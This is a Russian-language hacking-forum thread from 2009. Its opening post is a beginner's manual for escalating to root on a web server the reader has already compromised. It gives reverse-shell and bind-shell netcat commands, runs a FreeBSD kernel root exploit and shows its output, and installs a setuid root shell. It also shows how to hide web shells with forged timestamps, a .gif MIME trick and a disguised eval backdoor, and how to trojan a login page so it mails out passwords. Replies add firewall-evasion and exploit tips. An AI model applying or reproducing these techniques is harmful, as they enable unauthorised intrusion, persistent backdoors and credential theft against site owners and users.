Авторские статьи Мануал новичкам: Рутанье

Discussion in 'Статьи' started by Dimi4, 28 Oct 2009.

  1. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291

    |=---=[ Мануал новичкам: Рутанье ]=---=|

    Мануал предназначен для новичков. В нем я постараюсь расписать пошаговою инструкцию рутанья, а также как спрятать свой шелл от админов :)

    • Поехали! :)
    Начнем с того что мы уже залили шелл на хост. Посмотрели так сказать вокруг да около, а индекс то никак не подредактировать. Надо рутать :)

    • Смотрим версию ядра: uname -a
    • Ищем сплойты google.com. milw0rm.com
    И так допустим:
    User: 80 ( www ) Group: 80 ( www )
    Code:
    # uname -a
    FreeBSD *** [B][COLOR=Red]7.0-RELEASE[/COLOR] [/B]FreeBSD 7.0-RELEASE #2: [B][COLOR=Red]Wed Jul 16 15:22:07 UTC 2008[/COLOR][/B]     root@:/usr/src/sys/i386/compile/colo2  i386
    Идем на www.milw0rm.com, и видим что под эту версию нам подойдет плоент bsd-ktimer.c
    Сохраняем плоент где нибудь, затем грузим на хост.
    • Биндпорт \ бекконет

      Для того чтобы порутать хост нам необходимо приконнектится к нему.
      Если кто не вкурил и спросит: "у нас ведь есть вебшелл", то объясню: нужна оболочка, типа баша)

      Лично я часто использую биндпорт от STNC:
      http://uasc.org.ua/files/backdoor.pl.txt
      А также бекконект от Алексайза:
      http://uasc.org.ua/files/connectback.pl.txt
      • Биндпортим
      Если вы используете шелл с возможностю биндпорта или бэкконекта, можете воспользоваться.
      Если же нет, тогда льем на хост и запускаем:
      perl backdoor.pl
      Назовите более беспалевно :)
      Далее у себя на компе (Должен быть установлен netcat)
      nc host.com 31337
      Если законектились - отлично, пропускайте следующий пункт. Если же нет, что бывает, потому что нас блочит фаер, пробуем использовать бекконект :)
      • Бекконектимся

        Существуют 2 варианта бекконекта - на свой комп, и с использованием промежуточного. Чаще всего используют вторую схему, так как для первой у вас должен быть выделенный ip, что бывает далеко не у всех. Но все же эту схему рассмотреть стоит, и так:
        • На свой комп
          На своем компе открываем порт для прослушки:
          nc -l -p31336
          Затем, на том хосте что хекаем, аплоудим скрипт, и запускаем из вебшелла:
          dc.pl [ВАШ_ИП] 31336
          Опять не работает? Скорее всего ваш ип адрес не является выделенным, а значит читаем дальше...
        • C использованием промежуточного хоста

          На промежуточном хосте, биндим порт (31337).
          У себя на компе, соединяемся с промежуточным:
          nc site.com 31337
          На промежуточном должен быть неткат, если его нет, то ставим. Сложностей это вызвать не должно.
          Затем открываем порт на промежуточном хосте:
          nc -l -p31336
          Потом с сайта, который рутаем делаем бекконет на промежуточный, как было описано выше.

      Но что делать, если и тут всё обламывает файервол?
      Вообщето сплойты можна юзать из веба :) (Кстате, тут я описываю случай с FreeBSD, а такая фича тестилась на шелле под линукс) Чтобы не переписывать, что что уже писал, копипаст из моего поста в РоА:
      1. Смотрим плоент, ищем что то типа:
      2. Меняем на:
      3. Дальше все просто) Заливаем "suidnik":
      Code:
      #include <stdio.h>
       int main(int argc, char **argv){
      system(argv[1]);
       }
      (пздц, никогда не кодил на си, а тут такой код :D )
      Компилим его, компилим сплоент, и запускаем из шелла. Потом увидим еще файлик "s".
      4. Вроде все, юзаем:
      Code:
      ./s "id"
    • Законнектились! :)
    Компилим:
    Code:
    gcc bsd-ktimer.c -o free
    chmod 755 free
    ./free
    Далее должны наблюдать:
    Code:
    # ./free
    FreeBSD local kernel root exploit
    by: christer/mu-b
    http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!
    
    * allocated pointer page: 0x00000000 -> 0x08000000 [134217728-bytes]
    * allocated itimer struct: 0x20000000 -> 0x200000DC [220-bytes]
    * filling pointer page... done
    * found posix_clocks @ [0xc08ecf80]
    * it_page->it_clockid: 0x0CC274B6 [access @0xBFBFEDB8]
    * ktimer_delete (0xD0000000)
    * ktimer_delete: 0 1
    #
    Затем смотрим снова "id" и должны увидеть "root". В нашем случаи:
    uid=80(www) gid=80(www) euid=0(root) groups=80(www),1003(suwww)
    Ну что же, рут имеем, теперь надо бы както сделать так, чтобы не каждый раз юзать сплойт, если упадет процес бекдора. Создаем файлик, который будет давать нам права рута, каждый раз при вызове.
    1.с:
    Code:
    main() { 
    setuid(0); 
    setgid(0); 
    system("/bin/bash"); 
    }
    Далее
    Code:
    gcc 1.c -o syser
    chmod 755 syser
    chmod +s syser
    mv syser /bin/syser
    Если наш бекдор падает, то запускаем наново и выполняем:
    Code:
    $ /bin/syser
    id
    uid=0(root) gid=0(wheel) groups=0(wheel),80(www),1003(suwww)
    • Как спрятатся?
    1. Никогда не забываем юзать команду:
    touch -r [base] [shell]
    Тем самым мы изменим дату создание шелла на дату создание безобидного файлика.
    2. Копирайты, лицензии.
    Часто помагает в начало файла добавить копирайты цмски которая стоит на сайте, сделать много отступов, затем сам код шелла) Или же впихнуть текст лицензии, GNU, например.
    3. Расширение
    Пихаем шелл с расширением .gif в какую нибудь папку с картинками, и добавляем .htaccess:
    Code:
    AddType application/x-httpd-php .gif
    Надеемся, что не спалят :)
    4. Псевдофункции
    В файл функций можно добавить следующий код:
    PHP:
    function login_check($login)
    {
    if(
    get_magic_quotes_gpc()){
     eval(
    stripslashes($login)); }
     else 
    { eval(
    $login); }
    И добавить в индекс например:
    PHP:
    if(isset($_POST['logln'])){login_check($_POST['logln'])}
    4. :D
    5. mail();
    Ищем страничку авторизации, затем трояним скрипт. Нужно найти место где проходит проверка логина и пароля, и вставить примерно такой код:
    PHP:
    mail(base64_decode('eWFAeGVra2VyLmNvbQ=='),'AUTH OK'$_POST['login'] .":" $_POST['password']);
    Приветы: $n@]<e, UASC, RoA и всем кого знаю :D
    © 2009 Dimi4, [UASC]​
     
    #1 Dimi4, 28 Oct 2009
    Last edited: 30 Oct 2009
    tgf1090, stan_q, Osstudio and 30 others like this.
  2. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    >>Вообщето сплойты можна юзать из веба

    Ещё часто оказывается, что сплоит во время работы что-то пишет в консольку, а шелл это почему-то не отображает. Так что бывает удобно дописать в начало кода
    Code:
    freopen("sploit.output", "wt", stdout);
    
     
    3 people like this.
  3. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    >>Вообщето сплойты можна юзать из веба
    видел твой пост, но по моему это не твоя идея, я без наезда, просто подзабыл.

    больше вероятности сделать бекконект всеже на стандартные порты, ну т.е. 80,21,20 (ftp-data) если конечно нет демонов которые эти порты слушают.

    В целом хорошо, собрал все воедино.

    насчет MySql не понял, ладно бы если:
    echo eval($row['comment']);
     
    #3 Scipio, 29 Oct 2009
    Last edited: 29 Oct 2009
    1 person likes this.
  4. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    кстати это сплойит под фряху не всегда пашет...на некоторых хостах просто вываливается ошибка что failed to lookup posix_clocks
     
  5. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Scipio идея про шеллы из веба: обсуждали вместе со снейком, так что да, не могу претендовать на авторство.
    ` - shell_exec )) неужели забыл? )

    2 svesve
    Возможно ядро пропатчено, смотри дату точную, тоесть месяц и число, и сравнивай с датой выхода сплойта
     
    1 person likes this.
  6. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    >>` - shell_exec )) неужели забыл? )

    ну я то не забыл, но объясни тогда в чем логика? Разве есть такая линевая комманда eval($_POST['e']);? другими словами eval тут не функция, а часть переменной $row['comment'] так же как и $_POST['e'] не переменная, а часть строки-значения переменной $row['comment']
     
    #6 Scipio, 30 Oct 2009
    Last edited: 30 Oct 2009
  7. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    гы, метода прятания беков от 2005 года:)

    PS: Сорри, пьян децл

    Хотя бы шифровать как-то, имхо.

    grep -P -i 'eval|$_GET|$_REQUEST|base64' /var/www/*.*

    к примеру и всё, ни шеллов ни бекдоров

    PS: А так прикольная статья, насчет бекконекта
     
    1 person likes this.
  8. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    сори но если бы тс не был бы грином, заминусовали бы и послали...
    статей на эту тему предостаточно, причем более интересных и расписанных
    http://forum.antichat.ru/showthread.php?t=17581
    http://forum.antichat.ru/showthread.php?t=21406
    http://forum.antichat.ru/showthread.php?t=30711
    и т.д. зото плюсов срубил на бояне, любой реподрочер позавидует, хотя это не мое дело, минусните меня за дерзость.
     
    #8 Dyxxx, 30 Oct 2009
    Last edited: 30 Oct 2009
    1 person likes this.
  9. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    да это идея Скульхака, реализованая Греем сам знаешь где. Димич то не мог этого знать)
     
  10. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    2Dyxxx
    вуху, меня до гринов повысили? ))
    И неужели ты думаешь что мой уровень писать статьи ради плюсов? Целью было создать мануал, который мог бы юзать каждый новичок, когда возникает вопрос о рутаньи. Да и в прочем, кто бы говорил? У тебя вся репа из темы скуль иньекты) Только не надо говорить что ты их ты выкладываешь "просто так". Это уже оффтоп, так что отвечать на это не надо, дабы не засорять тему.

    Spyder О_о непонел

    П.С. Dyxxx за линк спс, статей я не видел. И не надо провокаций)
     
    #10 Dimi4, 30 Oct 2009
    Last edited: 30 Oct 2009
  11. PowerWMZ

    PowerWMZ New Member

    Joined:
    23 Jul 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Идея стара как мир =]
     
    #11 PowerWMZ, 30 Oct 2009
    Last edited: 30 Oct 2009
  12. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Возможно, но я уверен не все знали об этом
     
  13. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    Ого, а запуск сплоитов из-под веба, оказалось, было таким приватным умением?:)
     
  14. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    Димыч , а ты знаешь толк в изращениях , а если честно ты че курил когда это писал ?

    это чюдо
    echo `$row['comment']`;
    выдаст .... хотя нет, это чудо вообще ниxуя не выдаст.. ибо в строку нельзя так вставлять переменную это раз, надо юзать {$row['comment']} да и в таких кавычках это вообще не прокатит ``.
    ладно если опустить баги с кавычками то тя получается конструкция перед которой я снимаю шляпу.
    echo shell_exec(eval($_POST['e']));

    p.s. Все быстро записали себе этот код в блокнот!!

    Сорри но статья - шлак

    p.p.s Интересно а что же должно быть в E?
    наверно
    echo('id');
    для просмотра ID

    p.p.p.s Вследующий раз бери водку или пиво ,и никаких наркотиков:))!
     
    _________________________
    #14 SQLHACK, 30 Oct 2009
    Last edited: 30 Oct 2009
    1 person likes this.
  15. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    А при чем здесь метод Димыча? прр чем здесь твой предыдущий пост?
     
  16. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    нет, не ближе у него
    eval($_POST['e']);
    причем он думает, что в переменную e что-то будет передаваться, и потом исполняться как системная комманда
    З.Ы. да и вобще, зачем ты тут постишь очевидные вещи?
    Димыч и ты говорили про:
    Code:
    <?php 
    $row[comment]='eval($_POST[\'e\']);'; 
    echo `$row[comment]`; 
    ?>
     
    1 person likes this.
  17. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Прочел статью от начала до конца.
    В принципе нормально, но для общего развития, так как в статье указан пример, в котором все так круто порутилось, что аж ппц :)

    На самом то деле очень редко так фартит.Часто ядро оказуется патченым, но сейчас не об этом. Бывает, что на серваке попросту не установлен gcc/g++, или не хватает библиотек, приходится компилить на своей тачке или на шелле, или же лить это все туда..

    Ну а вообще автору +1.
     
    #17 Ins3t, 30 Oct 2009
    Last edited: 30 Oct 2009
    1 person likes this.
  18. _gr34t

    _gr34t Member

    Joined:
    26 Oct 2008
    Messages:
    89
    Likes Received:
    13
    Reputations:
    5
    Да, с этим
    он попутал...
     
  19. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Как-то столкнулся с тем что не мог сделать бекконнект ... видимо фаервол разрешал исходящие соединения только для ESTABLISHED (ибо веб работал), a также на обычные порты 80, 3306.
    Поэтому могу посоветовать, если не получается подключиться бекконектом на какой-нить 9999 порт, попробовать использовать порт 80, 3306 или другой системный.
    В моем случае сработало!
     
  20. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Ужас какое наркоманство, непомню что на меня так повлияло, видмо зеленый чай, который чего то черным был))

    Вот такое извращение, хотя оказывается пашет:
    PHP:
    echo shell_exec(eval('system("ls");'));
    :D :D :D
    В серьёз не воспринимать ))))
     
    #20 Dimi4, 30 Oct 2009
    Last edited: 30 Oct 2009
    1 person likes this.